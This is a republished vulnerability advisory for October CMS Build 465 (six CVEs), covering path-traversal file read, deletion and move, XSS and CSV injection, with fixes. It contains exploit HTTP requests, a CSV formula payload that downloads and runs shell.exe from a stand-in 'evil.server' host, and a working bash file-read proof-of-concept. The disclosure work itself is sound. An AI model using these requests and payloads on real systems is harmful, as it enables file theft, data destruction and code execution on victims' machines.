October CMS Build 465 XSS / File Read / File Deletion / CSV Injection ≈ Packet Storm – Digitalmunition




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Published on August 4th, 2020 📆 | 2606 Views ⚑

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October CMS Build 465 XSS / File Read / File Deletion / CSV Injection ≈ Packet Storm

[*]##########################################################################[*]# October CMS < = Build 465 Multiple Vulnerabilities #[*]##########################################################################

Author – Sivanesh Ashok | @sivaneshashok | stazot.com

Date : 2020-03-31[*]Vendor : https://octobercms.com/[*]Version : < = Build 465[*]Tested on : Build 465[*]CVE : CVE-2020-5295, CVE-2020-5296, CVE-2020-5297, CVE-2020-5298, CVE-2020-5299, CVE-2020-11083[*]Last Modified: 2020-08-03

–[ Table of Contents

00 – Introduction

01 – Exploit

02 – Arbitrary File Read[*]02.1 – Source code analysis[*]02.2 – Exploitation[*]02.3 – References

03 – Arbitrary File Deletion[*]03.1 – Source code analysis[*]03.2 – Exploitation[*]03.3 – References

04 – Upload of Whitelisted File Types to Arbitrary Location[*]04.1 – Source code analysis[*]04.2 – Exploitation[*]04.3 – References

05 – Stored Cross-Site Scripting (XSS)[*]05.1 – Exploitation[*]05.2 – References

06 – Reflected Cross-Site Scripting (XSS)[*]06.1 – Exploitation[*]06.2 – References

07 – CSV Injection[*]07.1 – Exploitation[*]07.2 – References

08 – Solution

09 – Contact

–[ 00 – Introduction

October CMS is an open source content management system based on PHP and[*]Laravel framework. This article details the multiple vulnerabilities that[*]were discovered in the application. These vulnerabilities can be exploited[*]by an attacker with certain permission, to read sensitive files in the[*]server, delete or replace certain sensitive files in the server, run[*]arbitrary client side code in the context of the victim, execute arbitrary[*]code on the victim’s computer.

–[ 01 – Exploit

A PoC exploit that retrieves any file from October CMS when provided with[*]the cookies of a user with “Manage website assets” permission can be found[*]in the following link

https://github.com/staz0t/exploits/blob/master/SA20200331_octobercms_arbitrary_file_read.sh

Packet Storm Note: See bottom of file for attached exploit.

–[ 02 – Arbitrary File Read

An attacker with “Manage website assets” permission can exploit this[*]vulnerability to read local files of an October CMS server. The[*]vulnerability exists in the functionality thatlets a user with “Manage[*]website assets” permission to edit assets.

–[ 02.1 – Source code analysis

The function that is responsible for opening files to edit is[*]index_onOpenTempate() which is defined in[*]modules/cms/controllers/Index.php:148

—-[ code segment ]—-

public function index_onOpenTemplate()[*]{[*]$this->validateRequestTheme();

$type = Request::input(‘type’);[*]$template = $this->loadTemplate($type, Request::input(‘path’));[*]$widget = $this->makeTemplateFormWidget($type, $template);

—-[ code segment ]—-

The above code segment from index_onOpenTempate() function shows that the[*]$template variable is initialized directly using the ‘path’ parameter[*]without validation. Hence, the ‘path’ parameter can hold the path of any[*]file in the server, the loadTemplate() function will retrieve its contents[*]and store it in $template->content which is then returned to the user.

–[ 02.2 – Exploitation

To exploit this request, an attacker with “Manage website assets”[*]permission has to edit the ‘path’ parameter in the request that retrieves[*]the assets for editing. For example, the following request will retrieve[*]the contents of config/database.php file.

—-[ request ]—-

POST /backend/cms HTTP/1.1[*]X-OCTOBER-REQUEST-HANDLER: onOpenTemplate[*]X-CSRF-TOKEN: {insert-csrf-token-here}[*]X-Requested-With: XMLHttpRequest[*]Cookie: {insert-cookie-here}

theme={insert-theme-name}&type=asset&path=../../../config/database.php

—-[ request ]—-

A script to exploit this vulnerability can be found in the ’07 – Exploit'[*]section below.

–[ 02.3 – References

[CVE-2020-5295] – https://nvd.nist.gov/vuln/detail/CVE-2020-5295[*][Advisory] – https://github.com/octobercms/october/security/advisories/GHSA-r23f-c2j5-rx2f

–[ 03 – Arbitrary File Deletion

This vulnerability can be exploited by an attacker to delete files in the[*]server. The vulnerability exists in the functionality that allows a user[*]with “Manage website assets” permission to edit and save assets.

–[ 03.1 – Source code analysis

The way that October CMS handles saving is by deleting the existing file[*]and creating a new one with the new content. The function onSave(), defined[*]in modules/cms/controllers/Index.php:181, is responsible for saving an[*]edited asset.

—-[ code segment ]—-

public function onSave()[*]{[*]$this->validateRequestTheme();[*]$type = Request::input(‘templateType’);[*]$templatePath = trim(Request::input(‘templatePath’));[*].[*].[*].[*]$template->save();[*]$this->fireSystemEvent(‘cms.template.save’, [$template, $type]);[*]Flash::success(Lang::get(‘cms::lang.template.saved’));[*]return $this->getUpdateResponse($template, $type);[*]}

—-[ code segment ]—-

As shown in the above code segment, $templatePath variable is not validated[*]but directly passed to the function save(), which is defined in[*]modules/cms/classes/Asset.php:155.

—-[ code segment ]—-

public function save()[*]{[*]$this->validateFileName();

—-[ code segment ]—-

The save() function only validates the new filename and the file extension[*]but not the template path. So $templatePath can be the path to any file in[*]the server. As stated above, the server will first delete the $templatePath[*]file and create a new file with $filename and with the new content in the[*]assets directory.

–[ 03.2 Exploitation

To exploit this issue, an attacker with “Manager website assets” permission[*]has to modify the templatePath parameter to the file that the attacker[*]wants to be deleted. For example, the following request deletes the[*]config/database.php.

—-[ request ]—-

POST /backend/cms HTTP/1.1[*]X-OCTOBER-REQUEST-HANDLER: onSave[*]X-CSRF-TOKEN: {insert-csrf-token-here}[*]X-Requested-With: XMLHttpRequest[*]Cookie: {insert-cookie-here}

fileName=foo.js&content=&templateType=asset&templatePath=../../../config/database.php&theme={insert-theme-name}&templateMtime={insert-mtime-here}

—-[ request ]—-

In the above request, fileName parameter in the name of the file that gets[*]created. This can be anything with css, js, less, sass, scss extensions,[*]because it is validated by validateFileName() function.

templateMtime is a number that is generated by the server. The attacker can[*]obtain the mtime of a file by retrieving it using the Arbitrary File Read[*]vulnerability.

–[ 03.3 – References

[CVE-2020-5296] – https://nvd.nist.gov/vuln/detail/CVE-2020-5296[*][Advisory] – https://github.com/octobercms/october/security/advisories/GHSA-jv6v-fvvx-4932

–[ 04 – Upload of Whitelisted File Types to Arbitrary Location

An attacker can exploit this vulnerability to upload jpg, jpeg, bmp, png,[*]webp, gif, ico, css, js, woff, woff2, svg, ttf, eot, json, md, less, sass,[*]scss, xml files to any directory in the server. The vulnerability exists in[*]the functionality that lets a user with “Manage website assets” permission[*]to move assets from one folder to another.

-[ 04.1 – Source code analysis

The function that is responsible for moving assets is onMove() which is[*]defined in modules/cms/widgets/AssetList.php:305.

—-[ code segment ]—-

public function onMove()[*]{[*]$this->validateRequestTheme();

$selectedList = Input::get(‘selectedList’);[*]if (!strlen($selectedList)) {[*]throw new ApplicationException(Lang::get(‘cms::lang.asset.selected_files_not_found’));[*]}

$destinationDir = Input::get(‘dest’);[*]if (!strlen($destinationDir)) {[*]throw new ApplicationException(Lang::get(‘cms::lang.asset.select_destination_dir’));[*]}

$destinationFullPath = $this->getFullPath($destinationDir);[*]if (!file_exists($destinationFullPath) || !is_dir($destinationFullPath)) {[*]throw new ApplicationException(Lang::get(‘cms::lang.asset.destination_not_found’));[*]}

—-[ code segment ]—-

As shown in the above code segment, the function initiates $destinationDir[*]variable directly from the ‘dest’ parameter. And the $destinationDir[*]variable is not validated. Since the function moves the files mentioned in[*]the $selectedList to $DestinationDir directory. Since the $DestinationDir[*]is not validated, a file in the assets folder can be moved to any directory[*]in the server.

–[ 04.2 – Exploitation

This vulnerability can be exploited by an attacker with “Manage website[*]assets” permission, by modifying the ‘dest’ parameter in the request sent[*]to the server for moving an asset file. For example, the following request[*]can move test.js file from the assets directory to the config directory.

—-[ request ]—-

POST /backend/cms HTTP/1.1[*]X-OCTOBER-REQUEST-HANDLER: assetList::onMove[*]X-CSRF-TOKEN: {insert-csrf-token-here}[*]X-Requested-With: XMLHttpRequest[*]Cookie: {insert-cookie-here}

dest=../../../config/&theme={insert-theme-name}&selectedList=WyJcL3Rlc3QuanMiXQ==

—-[ request ]—-

The selectedList parameter is the base64 encoded version of the json[*]'[“/test.js”]’ because that is how the server expects the parameter to be[*]formatted.

This vulnerability can be chained with the Arbitrary File Deletion[*]vulnerability to delete and replace sensitive files in the server.

–[ 04.3 – References

[CVE-2020-5297] – https://nvd.nist.gov/vuln/detail/CVE-2020-5297[*][Advisory] – https://github.com/octobercms/october/security/advisories/GHSA-9722-rr68-rfpg

–[ 05 – Stored Cross-Site Scripting (XSS)

The application is vulnerable to Stored XSS in the ‘Post Creation'[*]functionality. An attacker with “Manage the blog posts” permission can[*]execute arbitrary client side code in the context of the victim, who could[*]be the admin.

–[ 05.1 – Exploitation

Here is how a user with “Manage the blog posts” permission can execute[*]arbitrary client side code in the context of the admin.

1. Go to the Blog section and select New Post

2. Enter the payload in the blog’s content[*]For example,[*][*]This payload will send the admin’s cookies to the attacker’s server[*]The payload can be written to perform any action in the context of the admin,[*]such as escalating privilege to ‘Super User’

3. Save the post

4. When the admin visits the post, the payload will get executed

–[ 05.2 – References

[CVE-2020-11083] – https://nvd.nist.gov/vuln/detail/CVE-2020-11083[*][Advisory] – https://github.com/octobercms/october/security/advisories/GHSA-w4pj-7p68-3vgv

–[ 06 – Reflected Cross-Site Scripting (XSS)

The application is vulnerable to Reflected XSS in the ‘Import Posts'[*]functionality. A user with “Allowed to import and export posts” permission[*]can be social engineered by an attacker to exploit this vulnerability and[*]execute arbitrary client side code in the context of the user.

–[ 06.1 – Exploitation

To exploit this vulnerability an attacker should social engineer the victim[*]like explained below.

1. Create a CSV file with the payload in the first row, which is the name[*]of the columns.

2. Send the CSV file to the victim and persuade them to import the file.[*]The scenario could be an author sending a post’s metadata to the editor in[*]CSV format.

3. When the victim imports the CSV file, the column names in the file are[*]reflected in the web page which leads to the execution of the payload.

Similar to the last vulnerability, the payload could be written to perform[*]any action as the victim.

–[ 06.2 – References

[CVE-2020-5298] – https://nvd.nist.gov/vuln/detail/CVE-2020-5298[*][Advisory] – https://github.com/octobercms/october/security/advisories/GHSA-gg6x-xx78-448c

–[ 07 – CSV Injection

An attacker can exploit this vulnerability to execute arbitrary code in the[*]victim’s computer. The vulnerability exists in the ‘Export Posts'[*]functionality that allows a user with “Allowed to import and export posts”[*]permission to export the posts as a CSV file.

–[ 07.1 – Exploitation

To exploit this vulnerability, an attacker with “Manage the blog posts”[*]permission should inject crafted payloads in the any one of the following[*]input fields related to a blog post.

Title, Content, Excerpt, Categories

1. Edit one of the above mentioned in a blog to the following payload[*]=cmd|’ /C powershell Invoke-WebRequest “http://evil.server/shell.exe” -OutFile “$env:Tempshell.exe”; Start-Process “$env:Tempshell.exe”‘!A1[*]This payload downloads and executes ‘shell.exe’ on the victim’s computer.

2. When the victim exports the posts and opens the CSV file, MS Excel will[*]warn the victim about the potential harm in opening the file. If the victim[*]ignores the warnings and continues to open it, then the command gets[*]executed on the victim’s computer.

–[ 07.2 – References

[CVE-2020-5299] – https://nvd.nist.gov/vuln/detail/CVE-2020-5299[*][Advisory] – https://github.com/octobercms/october/security/advisories/GHSA-4rhm-m2fp-hx7q

–[ 08 – Solution

1. Validate the ‘path’ parameter in index_onOpenTempate() function defined[*]in modules/cms/controllers/Index.php:148

2. Validate the ‘templatePath’ paramter in onSave() function defined in[*]modules/cms/controllers/Index.php:181

3. Validate the ‘dest’ parameter in onMove() function defined in[*]modules/cms/widgets/AssetList.php:305

4. Sanitize and encode the contents of the blog before generating the[*]preview or storing and publishing them

5. Sanitize and encode the column names in the CSV file before displaying[*]them in the ‘Import Posts’ page

6. Validate the blogs’ data fields before exporting them to a CSV file.[*]Ensure that data doesn’t start with ‘=’, ‘+’, ‘-‘, ‘@’

–[ 09 – Contact

Name : Sivanesh Ashok

Twitter: @sivaneshashok

Website: http://stazot.com

Proof of concepts:

— begin SA20200331_octobercms_arbitrary_file_read.sh —

echo ”'[*]Authenticated arbitrary file read exploit for October CMS < = Build 465[*]Tested on: v1.0.45[*]CVE: CVE-2020-5295[*]Reference: https://stazot.com/advisories/October%20CMS%20465%20Multiple%20Vulnerabilities[*]Author: Sivanesh Ashok | @sivaneshashok | stazot.com[*]'''

rm /tmp/ocms_* &> /dev/null

if [[ ! `command -v recode` ]]; then[*]echo -e “[!] Missing package ‘recode’n[!] Install ‘recode’ using the respective command to resumentsudo apt install recodentsudo pacman -S recodentyum install recode”[*]echo -e “[*] Exiting!n”[*]exit 0[*]fi

read -p “[*] Enter target host (with http/https): ” host[*]echo “”[*]read -p “[*] Enter your cookie value: ” cookie

curl -s -X GET -H “Cookie: $cookie” “$host/backend/cms” > /tmp/ocms_gethtml

if [[ ! `awk ‘//,/< /span>/’ /tmp/ocms_gethtml | grep “Assets”` ]]; then[*]echo -e “[-] Invalid cookien[-] Either the user does not have the privilege to modify assets or the cookie is invalid”[*]echo -e “[*] Exiting!n”[*]exit 0[*]fi

echo ”'[*][!] Relative path to the target file is required.[*]eg. config/database.php[*]If you are unsure about the path, check OctoberCMS github which has the default file system hosted[*]https://github.com/octobercms/october[*]”’

read -p “[*] Enter path to the target file: ” targetfile[*]themename=`grep “data-item-theme” /tmp/ocms_gethtml -m 1 | awk -F'”‘ ‘{print $6}’`[*]csrftoken=`grep “csrf-token” /tmp/ocms_gethtml | awk -F'”‘ ‘{print $4}’`

curl -s -X POST -H “Cookie: $cookie” -H “X-CSRF-TOKEN: $csrftoken” -H “X-OCTOBER-REQUEST-HANDLER: onOpenTemplate” -H “X-Requested-With: XMLHttpRequest” -d “theme=$themename” -d “type=asset” -d “path=../../../$targetfile” “$host/backend/cms” > /tmp/ocms_jsonres

cat /tmp/ocms_jsonres | jq -r ‘.tab’ 2> /dev/null | awk ‘/

if [[ `cat /tmp/ocms_file` ]]; then[*]cp /tmp/ocms_file ./october_extractedfile[*]echo -e “n[+] File saved as ./october_extractedfile!n”[*]exit 1[*]else[*]echo -e “n[-] Error extracting file. Check /tmp/ocms_jsonres for the server response. Exiting!n”[*]exit 0[*]fi

— end SA20200331_octobercms_arbitrary_file_read.sh —[*]

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